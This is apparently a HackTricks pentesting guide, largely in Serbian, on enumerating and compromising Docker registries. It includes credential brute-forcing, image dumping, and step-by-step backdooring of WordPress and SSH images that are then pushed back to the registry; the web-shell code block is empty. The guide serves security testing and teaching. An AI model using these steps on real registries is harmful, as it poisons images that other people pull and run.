# 5000 - Pentesting Docker Registry {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Basic Information Sistem za skladištenje i distribuciju poznat kao **Docker registry** je uspostavljen za Docker slike koje su imenovane i mogu dolaziti u više verzija, razlikujući se po oznakama. Ove slike su organizovane unutar **Docker repositories** u registru, pri čemu svaki repozitorij skladišti različite verzije specifične slike. Funkcionalnost koja je obezbeđena omogućava preuzimanje slika lokalno ili njihovo učitavanje u registar, pod pretpostavkom da korisnik ima potrebne dozvole. **DockerHub** služi kao podrazumevani javni registar za Docker, ali korisnici takođe imaju opciju da upravljaju lokalnom verzijom open-source Docker registry/distribucije ili da se odluče za komercijalno podržani **Docker Trusted Registry**. Pored toga, razni drugi javni registri mogu se naći na mreži. Da biste preuzeli sliku iz lokalnog registra, koristi se sledeća komanda: ```bash docker pull my-registry:9000/foo/bar:2.1 ``` Ova komanda preuzima `foo/bar` sliku verzije `2.1` iz lokalnog registra na `my-registry` domenu na portu `9000`. Nasuprot tome, da preuzmete istu sliku sa DockerHub-a, posebno ako je `2.1` najnovija verzija, komanda se pojednostavljuje na: ```bash docker pull foo/bar ``` **Podrazumevani port:** 5000 ``` PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) ``` ## Otkriće Najlakši način da otkrijete ovu uslugu koja radi je da je dobijete u izlazu nmap-a. U svakom slučaju, imajte na umu da, pošto je to HTTP zasnovana usluga, može biti iza HTTP proksija i nmap je neće otkriti.\ Neki otisci: * Ako pristupite `/` ništa se ne vraća u odgovoru * Ako pristupite `/v2/` tada se vraća `{}` * Ako pristupite `/v2/_catalog` možete dobiti: * `{"repositories":["alpine","ubuntu"]}` * `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` ## Enumeracija ### HTTP/HTTPS Docker registry može biti konfigurisana da koristi **HTTP** ili **HTTPS**. Tako da je prva stvar koju možda treba da uradite da **pronađete koji se koristi**: ```bash curl -s http://10.10.10.10:5000/v2/_catalog #If HTTPS Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: " to save to a file. #If HTTP {"repositories":["alpine","ubuntu"]} ``` ### Authentication Docker registry može biti konfiguran da zahteva **authentication**: ```bash curl -k https://192.25.197.3:5000/v2/_catalog #If Authentication required {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]} #If no authentication required {"repositories":["alpine","ubuntu"]} ``` Ako Docker Registry zahteva autentifikaciju, možete[ **pokušati da je brute force-ujete koristeći ovo**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\ **Ako pronađete važeće akreditive, moraćete da ih koristite** za enumeraciju registra, u `curl`-u ih možete koristiti ovako: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` ### Enumeration using DockerRegistryGrabber [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) je python alat za enumeraciju / dump docker registra (bez ili sa osnovnom autentifikacijom) ```bash usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url ____ ____ ____ | _ \ | _ \ / ___| | | | || |_) || | _ | |_| || _ < | |_| | |____/ |_| \_\ \____| Docker Registry grabber tool v2 by @SyzikSecu positional arguments: url URL options: -h, --help show this help message and exit -p port port to use (default : 5000) Authentication: -U USERNAME Username -P PASSWORD Password -A header Authorization bearer token Actions: --list --dump_all --dump DOCKERNAME DockerName Example commands: python drg.py http://127.0.0.1 --list python drg.py http://127.0.0.1 --dump my-ubuntu python drg.py http://127.0.0.1 --dump_all python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all python drg.py https://127.0.0.1 -A '' --list python drg.py https://127.0.0.1 -A '' --dump my-ubuntu python drg.py https://127.0.0.1 -A '' --dump_all python3 DockerGraber.py http://127.0.0.1 --list [+] my-ubuntu [+] my-ubuntu2 python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 python3 DockerGraber.py http://127.0.0.1 --dump_all [+] my-ubuntu [+] my-ubuntu2 [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 [+] blobSum found 5 [+] Dumping my-ubuntu2 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 ``` ### Enumeration using curl Kada ste **dobili pristup docker registru**, evo nekoliko komandi koje možete koristiti za enumeraciju: ```bash #List repositories curl -s http://10.10.10.10:5000/v2/_catalog {"repositories":["alpine","ubuntu"]} #Get tags of a repository curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]} #Get manifests curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest { "schemaVersion": 1, "name": "ubuntu", "tag": "latest", "architecture": "amd64", "fsLayers": [ { "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935" }, { "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" }, { "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10" } ], "history": [ { "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}" }, { "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}" }, { "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}" } ], "signatures": [ { "header": { "jwk": { "crv": "P-256", "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX", "kty": "EC", "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg", "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg" }, "alg": "ES256" }, "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q", "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ" } ] } #Download one of the previously listed blobs curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar #Inspect the insides of each blob tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory ``` {% hint style="warning" %} Napomena da kada preuzmete i dekompresujete blobove, fajlovi i folderi će se pojaviti u trenutnom direktorijumu. **Ako preuzmete sve blobove i dekompresujete ih u istom folderu, oni će prepisati vrednosti prethodno dekompresovanih blobova**, pa budite oprezni. Može biti zanimljivo dekompresovati svaki blob unutar različitog foldera kako biste pregledali tačan sadržaj svakog bloba. {% endhint %} ### Enumeracija koristeći docker ```bash #Once you know which images the server is saving (/v2/_catalog) you can pull them docker pull 10.10.10.10:5000/ubuntu #Check the commands used to create the layers of the image docker history 10.10.10.10:5000/ubuntu #IMAGE CREATED CREATED BY SIZE COMMENT #ed05bef01522 2 years ago ./run.sh 46.8MB # 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B # 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B # 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B # 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB #Run and get a shell docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ``` ### Backdooring WordPress image U scenariju gde ste pronašli Docker Registry koji čuva wordpress sliku, možete je kompromitovati.\ **Kreirajte** **backdoor**: {% code title="shell.php" %} ```bash ``` {% endcode %} Kreirajte **Dockerfile**: {% code title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/wordpress COPY shell.php /app/ RUN chmod 777 /app/shell.php ``` {% endcode %} **Kreirajte** novu sliku, **proverite** da li je kreirana, i **gurnite** je: ```bash docker build -t 10.10.10.10:5000/wordpress . #Create docker images docker push registry:5000/wordpress #Push it ``` ### Backdooring SSH server image Pretpostavimo da ste pronašli Docker Registry sa SSH slikom i želite da je backdoor-ujete.\ **Preuzmite** sliku i **pokrenite** je: ```bash docker pull 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli ``` Izvucite `sshd_config` datoteku iz SSH slike: ```bash docker cp 4c989242c714:/etc/ssh/sshd_config . ``` I izmenite ga da postavite: `PermitRootLogin yes` Kreirajte **Dockerfile** kao što je sledeći: {% tabs %} {% tab title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` {% endtab %} {% endtabs %} **Kreirajte** novu sliku, **proverite** da li je kreirana, i **gurnite** je: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## References * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/) {% hint style="success" %} Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %}